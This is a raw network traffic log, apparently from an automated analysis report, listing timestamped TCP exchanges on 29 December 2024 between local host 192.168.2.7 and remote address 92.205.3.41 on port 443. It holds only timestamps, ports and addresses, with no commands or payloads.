Dec 29, 2024 08:55:52.639522076 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.642247915 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.642321110 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.645066023 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.645138025 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.648260117 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.648329973 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.651118040 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.651182890 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.653911114 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.653970003 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.657469034 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.657545090 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.660335064 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.660444975 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.663095951 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.663156033 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.666718006 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.666785955 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.821337938 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.821414948 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.824407101 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.824471951 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.827296019 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.827369928 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.830086946 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.830158949 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.833669901 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.833755016 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.836447954 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.836514950 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.839317083 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.839379072 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.842155933 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.842216015 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.845727921 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.845813036 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.848536968 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.848612070 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.851707935 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.851771116 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.854605913 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.854674101 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.857361078 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.857429028 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.860960007 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.861032009 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.863766909 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.863825083 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.866645098 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.866714001 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.869502068 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.869568110 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.024812937 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.024889946 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.027513981 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.027578115 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.030461073 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.030529976 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.033983946 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.034049988 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.036794901 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.036868095 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.039686918 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.039757967 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.045165062 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.045231104 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.046013117 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.046076059 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.048821926 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.048901081 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.054327011 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.054413080 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.056488991 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.056555986 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.059254885 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.059324026 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.061870098 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.061937094 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.064069986 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.064141989 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.067035913 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.067101002 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.069705963 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.069763899 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.225255013 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.225344896 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.228212118 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.228276968 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.231056929 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.231121063 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.233648062 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.233724117 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.237215996 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.237293005 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.240010977 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.240088940 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.242854118 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.242913008 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.246499062 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.246572018 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.249257088 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.249326944 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.252469063 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.252546072 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.255259991 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.255552053 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.258177996 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.258244038 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.260914087 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.260978937 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.264492035 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.264559984 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.267370939 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.267441034 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.270189047 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.270256996 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.425566912 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.425652027 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.428344965 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.428414106 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.431227922 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.431298971 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.434022903 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.434092999 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.437618017 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.437690973 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.440377951 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.440449953 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.443270922 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.443352938 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.446027040 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.446106911 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.449637890 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.449704885 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.452867985 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.452944040 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.455632925 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.455729008 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.458515882 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.458584070 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.461317062 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.461388111 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.464880943 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.464950085 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.467677116 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.467752934 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.470652103 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.470722914 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.474090099 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.474158049 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.628842115 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.628956079 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.631762028 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.631838083 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.634469986 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.634552956 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.638036013 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.638113022 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.640810013 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.640877962 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.643706083 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.643780947 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.646480083 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.646548986 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.650077105 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.650147915 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.652832985 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.652896881 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.656080961 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.656157970 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.658894062 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.658960104 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.661736012 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.661813021 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.665344000 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.665416002 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.668092012 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.668180943 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.671015024 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.671089888 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.673943043 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.674007893 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.828974962 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.829061031 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.831690073 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.831768036 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.835263968 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.835344076 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.838053942 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.838124037 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.840962887 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.841028929 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.843725920 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.843794107 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.847304106 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.847378969 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.850191116 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.850258112 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.852958918 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.853034019 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.856194973 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.856254101 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.858985901 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.859070063 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.862592936 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.862669945 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.865353107 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.865425110 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.868278980 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.868350029 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.871819019 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.871889114 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:53.874736071 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:53.874809980 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.029309988 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.029386044 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.032032013 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.032098055 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.035660982 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.035736084 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.038420916 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.038496017 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.041321039 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.041383982 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.044058084 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.044125080 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.047652006 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.047727108 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.050461054 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.050525904 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.053328991 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.053386927 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.057081938 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.057143927 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.059345007 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.059416056 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.062953949 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.063019991 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.065697908 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.065761089 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.068618059 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.068682909 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.071358919 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.071429968 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.074968100 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.075052977 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.230470896 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.230557919 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.232716084 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.232789040 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.235622883 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.235690117 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.238416910 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.238500118 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.242044926 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.242125034 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.244807959 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.244893074 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.247668028 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.247749090 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.251236916 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.251322985 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.254026890 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.254092932 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.256908894 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.256973982 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.260042906 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.260121107 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.262912035 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.262990952 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.265671015 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.265752077 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.269268036 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.269337893 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.272033930 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.272106886 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.274936914 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.275026083 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.278512955 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.278580904 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.432775021 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.432879925 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.435677052 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.435749054 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.439268112 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.439335108 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.442024946 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.442089081 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.444926977 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.444996119 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.447731018 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.447792053 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.451301098 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.451369047 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.454068899 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.454132080 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.456918001 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.456976891 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.460081100 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.460143089 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.462958097 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.463021994 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.466588020 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.466651917 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.469310999 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.469382048 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.472203970 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.472273111 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.474980116 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.475070000 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.478604078 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.478698015 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.633419037 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.633507967 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.636179924 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.636270046 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.639000893 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.639076948 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.642600060 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.642673016 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.645373106 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.645447016 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.648355961 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.648421049 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.651076078 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.651143074 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.654654980 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.654732943 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.657432079 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.657506943 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.660320044 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.660428047 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.663582087 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.663655043 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.666336060 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.666413069 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.669881105 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:54.669955015 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:54.672681093 CET	443	49707	92.205.3.41	192.168.2.7
